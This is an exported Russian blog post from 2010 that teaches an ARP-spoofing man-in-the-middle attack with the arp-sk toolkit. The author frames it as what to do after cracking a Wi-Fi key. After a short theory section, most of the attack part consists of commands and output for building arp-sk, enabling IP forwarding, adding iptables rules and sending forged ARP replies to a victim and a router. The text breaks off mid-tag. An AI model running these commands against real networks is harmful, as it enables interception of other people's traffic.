{"id":2634,"date":"2010-05-22T09:16:13","date_gmt":"2010-05-22T05:16:13","guid":{"rendered":"http:\/\/msbro.ru\/?p=2634"},"modified":"2010-05-22T09:16:13","modified_gmt":"2010-05-22T05:16:13","slug":"praktika-ispolzovaniya-arp-spoofing","status":"publish","type":"post","link":"https:\/\/msbro.ru\/index.php\/archives\/2634","title":{"rendered":"\u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f arp-spoofing"},"content":{"rendered":"<p><!--more-->\u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0443 \u043a\u0430\u043a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0430\u043a\u0435\u0442 \u0443\u0442\u0438\u043b\u0438\u0442 arp-sk \u0432  \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 GNU\/Linux \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443 man-in-the-middle \u043d\u0430  \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b arp.<\/p>\n<p><a href=\"http:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-01_-_Network_map.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2636\" title=\"arp-spoofing-01_-_Network_map\" src=\"http:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-01_-_Network_map.png\" alt=\"\" width=\"514\" height=\"404\" srcset=\"https:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-01_-_Network_map.png 514w, https:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-01_-_Network_map-300x235.png 300w\" sizes=\"(max-width: 514px) 100vw, 514px\" \/><\/a><\/p>\n<p>\u0414\u043b\u044f \u0447\u0435\u0433\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0443\u0436\u043d\u0430 \u0442\u0430\u043a\u0430\u044f \u0430\u0442\u0430\u043a\u0430:<br \/>\n\u041d\u0430 \u0445\u0430\u0431\u0440\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043c\u043d\u043e\u0433\u043e \u0441\u0442\u0430\u0442\u0435\u0439 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 Wi-Fi. \u041d\u043e \u0447\u0442\u043e  \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043a\u043b\u044e\u0447 \u0432\u0437\u043b\u043e\u043c\u0430\u043d? \u0422\u0443\u0442 \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043e\u0434\u0438\u043d \u0438\u0437 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432  \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439.<\/p>\n<h4>\u041d\u0435\u043c\u043d\u043e\u0433\u043e \u0442\u0435\u043e\u0440\u0438\u0438<\/h4>\n<p>\u041f\u0440\u043e\u0442\u043e\u043a\u043e\u043b arp \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0432 \u0441\u0440\u0435\u0434\u0435 Ethernet. \u041f\u043e\u0442\u043e\u043c\u0443 \u043a\u0430\u043a  \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e mac-\u0430\u0434\u0440\u0435\u0441\u0430\u043c. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e mac-\u0430\u0434\u0440\u0435\u0441\u0435 \u043c\u043e\u0436\u043d\u043e  \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0432 \u0432\u0438\u043a\u0438\u043f\u0435\u0434\u0438\u0438.<br \/>\n<a href=\"http:\/\/ru.wikipedia.org\/wiki\/MAC-%D0%B0%D0%B4%D1%80%D0%B5%D1%81\">ru.wikipedia.org\/wiki\/MAC-%D0%B0%D0%B4%D1%80%D0%B5%D1%81<\/a><br \/>\n\u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043e \u043e\u0442 \u043e\u0434\u043d\u043e\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043a  \u0434\u0440\u0443\u0433\u043e\u043c\u0443, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u043e\u0442 Victim \u043a Router \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e  \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 IP-\u0430\u0434\u0440\u0435\u0441 \u2014 mac-\u0430\u0434\u0440\u0435\u0441. \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441  \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b tcpdump<\/p>\n<pre># tcpdump -i eth1 -vvv\r\n21:11:14.076068 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has  192.168.4.1 tell 192.168.4.17, length 28\r\n21:11:14.077852 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.4.1  is-at 00:50:ba:46:5d:92 (oui Unknown), length 46\r\n<\/pre>\n<p>\u043f\u0435\u0440\u0432\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u2014 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0448\u0438\u0440\u043e\u043a\u043e\u0432\u0435\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0441 \u0446\u0435\u043b\u044c\u044e  \u0443\u0437\u043d\u0430\u0442\u044c mac-\u0430\u0434\u0440\u0435\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 ip-\u0430\u0434\u0440\u0435\u0441\u0443 192.168.4.1 \u0438 \u043f\u0440\u043e\u0441\u044c\u0431\u043e\u0439  \u043e\u0442\u043e\u0441\u043b\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 192.168.4.11. \u0417\u0434\u0435\u0441\u044c \u043d\u0435 \u0432\u0438\u0434\u043d\u043e, \u043d\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440  192.168.4.11 \u043f\u0440\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u0432\u043e\u0439 mac-\u0430\u0434\u0440\u0435\u0441 \u0432  \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438 \u0448\u0438\u0440\u043e\u043a\u043e\u0432\u0435\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 mac-\u0430\u0434\u0440\u0435\u0441(FF:FF:FF:FF:FF:FF) \u0432  \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u044f. \u0421\u0435\u0442\u0435\u0432\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e, \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442  \u0434\u043e\u043b\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 ip-\u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u043e \u0441\u0432\u043e\u0438\u043c, \u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f  \u043f\u043e\u0441\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442.<br \/>\n\u0432\u0442\u043e\u0440\u043e\u0439 \u043f\u0430\u043a\u0435\u0442 \u2014 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441 \u0430\u0434\u0440\u0435\u0441\u043e\u043c 192.168.4.1 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 mac-\u0430\u0434\u0440\u0435\u0441,  \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0443\u043a\u0430\u0437\u0430\u043d \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u0441\u043e \u0441\u0432\u043e\u0435\u0433\u043e mac-\u0430\u0434\u0440\u0435\u0441\u0430, \u0447\u0442\u043e \u0430\u0434\u0440\u0435\u0441 192.168.4.1  \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 00:50:ba:46:5d:92.<\/p>\n<p>\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e arp-\u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u0432\u0435\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0442\u043e  \u0434\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043b\u044e\u0431\u043e\u0439, \u043a\u0442\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043e\u0434\u043d\u043e\u043c  \u0448\u0438\u0440\u043e\u043a\u043e\u0432\u0435\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u041f\u043e\u0441\u0435\u043c\u0443 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043e\u0434\u0438\u043d \u0438\u0437  \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0430\u0442\u0430\u043a\u0438 \u2014 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e \u0441\u0432\u043e\u0435\u043c mac-\u0430\u0434\u0440\u0435\u0441\u0435. \u041f\u0440\u0438  \u044d\u0442\u043e\u043c, \u043a\u043e\u0433\u0434\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440-\u0436\u0435\u0440\u0442\u0432\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 arp-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0440\u043e\u0443\u0442\u0435\u0440, \u0442\u043e \u0441\u0440\u0430\u0437\u0443  \u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0442\u0432\u0435\u0442 \u043e\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e. \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0442\u0440\u0430\u0444\u0438\u043a \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d  \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443.<\/p>\n<p>\u041d\u0430\u0448\u0430 \u0437\u0430\u0434\u0430\u0447\u0430: \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 Victim \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430  Attacker.<br \/>\n\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 arp-\u043e\u0442\u0432\u0435\u0442. \u0412 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435  arp \u043f\u0440\u0435\u0434\u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c arp-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438\u043b\u0438  \u043e\u0442\u0432\u0435\u0442\u0430 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0442\u0430\u043a\u043e\u0435 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430. \u0414\u043b\u044f \u0447\u0435\u0433\u043e \u044d\u0442\u043e  \u043d\u0430\u0434\u043e \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0435\u0441\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f mac-\u0430\u0434\u0440\u0435\u0441 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430. \u0412 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438  \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 arp \u0442\u043e \u043e\u043d \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0448\u0435\u0442  \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e.<\/p>\n<h4>\u041f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0438<\/h4>\n<h5>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0433\u043e \u041f\u041e<\/h5>\n<p>Arp-sk:<\/p>\n<pre># wget <a href=\"http:\/\/sid.rstack.org\/arp-sk\/files\/arp-sk-0.0.16.tgz\">sid.rstack.org\/arp-sk\/files\/arp-sk-0.0.16.tgz<\/a>\r\n# tar xvzf arp-sk-0.0.16.tgz\r\n# cd arp-sk-0.0.16\/\r\n# .\/configure\r\n# make\r\n<\/pre>\n<p>\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0435\u0433\u043e<\/p>\n<pre># make install\r\n<\/pre>\n<p>\u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e<\/p>\n<pre># arp-sk --help\r\n<\/pre>\n<p>\u043d\u0430\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043a\u043b\u044e\u0447\u0438:<\/p>\n<pre>Usage: arp-sk\r\n-r --reply \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c ARP \u043e\u0442\u0432\u0435\u0442\r\n-d --dst \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u044c \u0432 link layer (&lt;hotname|hostip|MAC&gt;)\r\n-s --src \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0432 link layer (&lt;hotname|hostip|MAC&gt;)\r\n-D --arp-dst \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u044c \u0432 ARP \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 ([hostname|hostip][:MAC])\r\n-S --arp-src \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0432 ARP \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 ([hostname|hostip][:MAC])\r\n-i --interface \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 (eth0)\r\n<\/pre>\n<h5>\u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0430<\/h5>\n<p>\u041c\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0440\u043e\u0443\u0442\u0435\u0440\u0443 \u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0443 arp-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e \u0442\u043e\u043c, \u0447\u0442\u043e  mac-\u0430\u0434\u0440\u0435\u0441 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430\u0448.<br \/>\n\u043f\u0435\u0440\u0435\u0434 \u044d\u0442\u0438\u043c \u043c\u044b \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 Attacker \u0434\u043b\u044f \u043f\u0435\u0440\u0435 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0440\u0430\u0444\u0438\u043a\u0430.  \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0432\u043a\u043b\u044e\u0447\u0438\u043c \u043f\u0435\u0440\u0435 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0432 \u044f\u0434\u0440\u0435:<\/p>\n<pre># echo 1 &gt; \/proc\/sys\/net\/ipv4\/ip_forward\r\n<\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043c \u043f\u0435\u0440\u0435 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u043c \u0444\u0438\u043b\u044c\u0442\u0440\u0435. \u0423 \u043c\u0435\u043d\u044f  \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f iptables, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443  FORWARD. \u0422\u0430\u043a \u043a\u0430\u043a \u0443 \u043c\u0435\u043d\u044f \u0441\u0435\u0442\u044c \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u0435\u0441\u0442\u043e\u0432\u0430\u044f, \u0442\u043e \u044f \u043c\u043e\u0433\u0443  \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430:<\/p>\n<pre># iptables -I FORWARD 1 -s 192.168.4.17 -j ACCEPT\r\n# iptables -I FORWARD 2 -d 192.168.4.17 -j ACCEPT\r\n<\/pre>\n<p>\u042d\u0442\u0438 2 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u044e\u0442 \u043f\u0435\u0440\u0435 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c  \u0434\u043b\u044f \u0430\u0434\u0440\u0435\u0441\u0430 192.168.4.17.<br \/>\n\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435! \u0414\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u044b\u043c\u0438, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e, \u0435\u0441\u043b\u0438 \u0443  \u0432\u0430\u0441 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u0432. \u0412 \u0442\u0430\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e  \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0442\u043e\u0447\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430.<\/p>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0430\u0434\u0440\u0435\u0441\u0430<br \/>\n\u041d\u0430\u0448 \u0430\u0434\u0440\u0435\u0441:<\/p>\n<pre># ifconfig eth1 | grep HW\r\neth1 Link encap:Ethernet HWaddr 00:13:CE:5C:11:34\r\n<\/pre>\n<p>\u0410\u0434\u0440\u0435\u0441\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432<\/p>\n<pre># arp -an\r\n? (192.168.4.1) at 00:50:ba:46:5d:92 [ether] on eth1\r\n? (192.168.4.17) at 00:1c:bf:41:53:4b [ether] on eth1\r\n<\/pre>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 Victim:<\/p>\n<p><a href=\"http:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-02_-_before.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2641\" title=\"arp-spoofing-02_-_before\" src=\"http:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-02_-_before.jpg\" alt=\"\" width=\"668\" height=\"331\" srcset=\"https:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-02_-_before.jpg 668w, https:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-02_-_before-300x148.jpg 300w\" sizes=\"(max-width: 668px) 100vw, 668px\" \/><\/a><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 arp-\u043f\u0430\u043a\u0435\u0442\u044b: \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0432  \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 mac-\u0430\u0434\u0440\u0435\u0441\u0430 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0441\u0432\u043e\u0439.<br \/>\n\u041f\u0435\u0440\u0432\u044b\u0439 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 192.168.4.17 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0435\u0433\u043e mac-\u0430\u0434\u0440\u0435\u0441 \u0442\u0435\u043f\u0435\u0440\u044c  00:13:CE:5C:11:34 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u043d\u0430 192.168.4.1 (00:50:ba:46:5d:92)<br \/>\n\u0412\u0442\u043e\u0440\u043e\u0439 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 192.168.4.1 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0435\u0433\u043e mac-\u0430\u0434\u0440\u0435\u0441 \u0442\u0435\u043f\u0435\u0440\u044c  00:13:CE:5C:11:34 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u043d\u0430 192.168.4.17 (00:1c:bf:41:53:4b)<\/p>\n<pre># arp-sk -i eth1 -r -s 00:13:CE:5C:11:34 -S 192.168.4.17 -d  00:50:ba:46:5d:92 -D 192.168.4.1\r\n# arp-sk -i eth1 -r -s 00:13:CE:5C:11:34 -S 192.168.4.1 -d  00:1c:bf:41:53:4b -D 192.168.4.17\r\n<\/pre>\n<p>\u0423 \u043d\u0430\u0441 \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u044b\u0432\u043e\u0434:<\/p>\n<pre>+ Initialization of the packet structure\r\n+ Running mode \"reply\"\r\n+ Ifname: eth1\r\n+ Source MAC: 00:13:ce:5c:11:34\r\n+ Source ARP MAC: 00:13:ce:5c:11:34\r\n+ Source ARP IP : 192.168.4.1\r\n+ Target MAC: 00:1c:bf:41:53:4b\r\n+ Target ARP MAC: 00:1c:bf:41:53:4b\r\n+ Target ARP IP : 192.168.4.17\r\n\r\n--- Start classical sending ---\r\nTS: 21:30:44.338540\r\nTo: 00:1c:bf:41:53:4b From: 00:13:ce:5c:11:34 0x0806\r\nARP For 192.168.4.17 (00:1c:bf:41:53:4b):\r\n192.168.4.1 is at 00:13:ce:5c:11:34\r\n<\/pre>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 Victim \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438:<\/p>\n<p><a 